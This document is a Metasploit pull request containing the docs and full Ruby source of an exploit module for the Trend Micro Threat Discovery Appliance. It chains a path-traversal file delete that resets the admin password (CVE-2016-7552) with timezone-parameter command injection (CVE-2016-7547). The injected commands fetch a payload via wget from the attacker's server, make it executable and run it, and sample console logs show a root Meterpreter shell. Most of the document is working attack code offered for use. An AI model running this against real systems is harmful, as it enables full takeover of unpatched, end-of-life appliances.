Land #8216, Add CVE-2016-7552/CVE-2016-7547 exploit
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## Vulnerable Application
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This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance. The first is an authentication bypass vulnerability via a file delete in logoff.cgi which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552). The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi interface (CVE-2016-7547).
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Note: You have the option to use the authentication bypass or not since it requires that the server is rebooted. The password reset will render the authentication useless. Typically, if an administrator cant login, they will bounce the box. Therefore, this module performs a heart beat request until the box is bounced and then attempts to login and to perform the command injection. This module has been tested on version 2.6.1062r1 of the appliance.
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Trend Micro are not patching this vulnerability since this product is now ([EOL](https://success.trendmicro.com/solution/1105727-list-of-end-of-life-eol-end-of-support-eos-trend-micro-products)).
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![Demo](http://srcincite.io/poc/CVE-2016-7547.gif)
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**Vulnerable Application Installation Steps**
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List the steps needed to make sure this thing works
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- [ ] Download the ISO from ([Trend Micro's](http://download.trendmicro.com/products/tda/TDA_InstallationCD.2.6.1062r1.en_US.iso)) download site.
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- [ ] Setup the VM to have 2 NIC's, 100 Gig HD and 4096 RAM.
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- [ ] Click through the default install.
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- [ ] You are ready to burn.
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**Verification Steps**
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A successful check of the exploit will look like this:
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```
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saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc
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[*] Processing scripts/trend.rc for ERB directives.
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resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
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resource (scripts/trend.rc)> set RHOST 192.168.100.2
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RHOST => 192.168.100.2
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resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp
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payload => linux/x86/meterpreter/reverse_tcp
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resource (scripts/trend.rc)> set LHOST 192.168.100.13
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LHOST => 192.168.100.13
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resource (scripts/trend.rc)> exploit
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[*] Exploit running as background job.
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[*] Started reverse TCP handler on 192.168.100.13:4444
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[*] Bypassing authentication...
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msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) >
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[+] The password has been reset!
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[*] Waiting for the reboot...
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[*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ...
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[*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP
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[*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP
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[+] Logged in
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[*] 192.168.100.2:443 - Sending the payload to the server...
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[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
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[*] Sending stage (1495599 bytes) to 192.168.100.2
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[*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500
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[+] Deleted /tmp/rpNDXQZTB
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[*] Server stopped.
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msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1
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[*] Starting interaction with 1...
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meterpreter > shell
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Process 3846 created.
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Channel 1 created.
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BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash)
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Enter 'help' for a list of built-in commands.
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/bin/sh: can't access tty; job control turned off
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/opt/TrendMicro/MinorityReport/www/cgi-bin # id
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id
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uid=0(root) gid=0(root)
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/opt/TrendMicro/MinorityReport/www/cgi-bin #
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```
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@ -0,0 +1,276 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution',
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'Description' => %q{
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This module exploits two vulnerabilities the Trend Micro Threat Discovery Appliance.
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The first is an authentication bypass vulnerability via a file delete in logoff.cgi
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which resets the admin password back to 'admin' upon a reboot (CVE-2016-7552).
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The second is a cmdi flaw using the timezone parameter in the admin_sys_time.cgi
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interface (CVE-2016-7547).
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Note: You have the option to use the authentication bypass or not since it requires
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that the server is rebooted. The password reset will render the authentication useless.
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Typically, if an administrator cant login, they will bounce the box. Therefore, this
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module performs a heart beat request until the box is bounced and then attempts to login
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and to perform the command injection. This module has been tested on version 2.6.1062r1
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of the appliance.
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},
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'Author' =>
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[
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'mr_me <steventhomasseeley@gmail.com>', # vuln + msf
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'Roberto Suggi Liverani @malerisch', # vuln + msf
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://asciinema.org/a/112480'], # demo
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[ 'CVE', '2016-7552'], # auth bypass
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[ 'CVE', '2016-7547'], # cmdi
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],
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true,
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},
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'Targets' =>
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[
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[ 'Trend Micro Threat Discovery Appliance 2.6.1062r1', {} ]
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],
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'DefaultOptions' =>
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{
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'SSL' => true
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},
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 10 2017'))
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register_options(
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[
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Opt::RPORT(443),
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OptString.new('TARGETURI', [true, 'The target URI', '/']),
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OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']),
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OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
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OptBool.new('AUTHBYPASS', [ true, 'Bypass the authentication', true ]),
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], self.class)
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end
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def check
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if do_login
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'cgi-bin/about.cgi'),
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'cookie' => @cookie,
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'method' => 'GET',
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}, 1)
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if res and res.code == 200 and res.body =~ /About Trend Micro/
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version = "#{$1}" if res.body =~ /var ver_str = new String\("(.*)"\)/
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case version
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when /2.6.1062/
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return Exploit::CheckCode::Vulnerable
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end
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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if datastore['AUTHBYPASS']
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print_status("Bypassing authentication...")
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if reset_password
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print_good("The password has been reset!")
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print_status("Waiting for the administrator to reboot...")
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pwn_after_reboot
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end
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else
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if do_login
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pwn
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else
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fail_with(Failure::NoAccess, "Authentication failed")
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end
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end
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end
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def reset_password
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c = "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'cgi-bin/logoff.cgi'),
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'method' => 'GET',
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'cookie' => c,
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})
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if res and res.code == 200 and res.headers.to_s =~ /Backtrace/
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return true
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end
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return false
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end
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def pwn
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start_http_server
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print_good("Logged in")
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download_exec
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end
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def pwn_after_reboot
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@rebooted = false
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while !@rebooted
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if do_login
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@rebooted = true
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pwn
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end
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end
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end
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def on_request_uri(cli, request)
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if (not @pl)
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print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
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return
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end
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print_status("#{rhost}:#{rport} - Sending the payload to the server...")
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@elf_sent = true
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send_response(cli, @pl)
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end
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def start_http_server
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@pl = generate_payload_exe
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@elf_sent = false
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downfile = rand_text_alpha(8+rand(8))
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resource_uri = '/' + downfile
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# do not use SSL for the attacking web server
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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@service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
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service_url_payload = srv_host + resource_uri
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print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
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start_service({'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}})
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datastore['SSL'] = true if ssl_restore
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connect
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end
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def exec(cmd)
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'cgi-bin/admin_sys_time.cgi'),
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'cookie' => @cookie,
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'method' => 'POST',
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'vars_post' => {
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'act' => 'save',
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'timezone' => cmd,
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}
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}, 1)
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end
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def download_exec
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@bd = rand_text_alpha(8+rand(8))
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register_file_for_cleanup("/tmp/#{@bd}")
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exec("|`wget #{@service_url} -O /tmp/#{@bd}`")
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exec("|`chmod 755 /tmp/#{@bd}`")
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exec("|`/tmp/#{@bd}`")
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# we need to delay, for the stager
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select(nil, nil, nil, 5)
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end
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def do_login
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begin
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login = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'cgi-bin/logon.cgi'),
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'method' => 'POST',
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'vars_post' => {
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'passwd' => datastore['PASSWORD'],
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'isCookieEnable' => 1,
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}
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})
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# these are needed due to the reboot
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rescue Rex::ConnectionRefused
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return false
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rescue Rex::ConnectionTimeout
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return false
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end
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if login and login.code == 200 and login.body =~ /frame\.cgi/
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@cookie = "session_id=#{$1};" if login.get_cookies =~ /session_id=(.*);/
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return true
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end
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return false
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end
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end
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=begin
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saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/trend.rc
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[*] Processing scripts/trend.rc for ERB directives.
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resource (scripts/trend.rc)> use exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
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resource (scripts/trend.rc)> set RHOST 192.168.100.2
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RHOST => 192.168.100.2
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resource (scripts/trend.rc)> set payload linux/x86/meterpreter/reverse_tcp
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payload => linux/x86/meterpreter/reverse_tcp
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resource (scripts/trend.rc)> set LHOST 192.168.100.13
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LHOST => 192.168.100.13
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resource (scripts/trend.rc)> exploit
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[*] Exploit running as background job.
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[*] Started reverse TCP handler on 192.168.100.13:4444
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[*] Bypassing authentication...
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msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) >
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[+] The password has been reset!
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[*] Waiting for the reboot...
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[*] 192.168.100.2:443 - Starting up our web service on http://192.168.100.13:1337/nnDBuOUMuKnxP ...
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[*] Using URL: http://0.0.0.0:1337/nnDBuOUMuKnxP
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[*] Local IP: http://192.168.100.13:1337/nnDBuOUMuKnxP
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[+] Logged in
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[*] 192.168.100.2:443 - Sending the payload to the server...
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[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
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[*] Sending stage (1495599 bytes) to 192.168.100.2
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[*] Meterpreter session 1 opened (192.168.100.13:4444 -> 192.168.100.2:46140) at 2016-09-23 14:59:08 -0500
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[+] Deleted /tmp/rpNDXQZTB
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[*] Server stopped.
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msf exploit(trendmicro_threat_discovery_admin_sys_time_cmdi) > sessions -i 1
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[*] Starting interaction with 1...
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meterpreter > shell
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Process 3846 created.
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Channel 1 created.
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BusyBox v1.00 (2010.10.13-06:52+0000) Built-in shell (ash)
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Enter 'help' for a list of built-in commands.
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/bin/sh: can't access tty; job control turned off
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/opt/TrendMicro/MinorityReport/www/cgi-bin # id
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id
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uid=0(root) gid=0(root)
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/opt/TrendMicro/MinorityReport/www/cgi-bin #
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=end
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